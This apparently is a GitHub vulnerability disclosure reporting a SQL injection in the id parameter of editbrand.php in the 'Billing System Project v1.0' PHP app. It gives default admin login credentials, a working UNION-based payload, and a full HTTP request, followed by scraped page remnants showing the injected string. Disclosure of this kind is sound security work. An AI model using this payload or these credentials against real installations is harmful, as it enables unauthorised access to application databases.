

main

...

bug\_report / vendors / mayuri\_k / billing-system-project / SQLi-1.md



aurigee Create SQLi-1.md

History

1 contributor

31 lines (21 sloc) | 1.07 KB

...

# Billing System Project v1.0 by mayuri\_k has SQL injection

BUG\_Author: AuriGe

Login account: mayurik/rootadmin (Super Admin account)

vendors: <https://www.sourcecodester.com/php/14831/billing-system-project-php-source-code-free-download.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /phpinventory/editbrand.php?id=

Vulnerability location: /phpinventory/editbrand.php?id=, id

dbname = store1,length=6

[+] Payload: /phpinventory/editbrand.php?

id=-1%27%20union%20select%201,database(),3,4--+ // Leak place ---> id

GET /phpinventory/editbrand.php?id=-1%27%20union%20select%201,database(),3,4--+ HTTP

Host: 192.168.1.88

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=5g4g4dffu1bkr9jm7nr42ori2

Connection: close

INI

SQL BASICs\* UNION BASED\* ERROR/DOUBLE QUERY\* TOOLS\* WAF BYPASS\* ENCODING\* HTML\* ENCRYPTION\* OTHER\* XSS\* LFI\*

Load URL

Split URL

Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☐ Insert string to replace ☐ Insert replacing string ☒ Replace All

**RUPEE INVOICE**  
Software Develoepd By Mayuri K. - www.mayurik.com

HOME

- Dashboard
- Brand
- Categories
- Product
- Invoices
- Reports
- Download more
- Know More

-1' union select 1,database(),3,4---'

[Edit Brand Management](#)

Brand Name

Status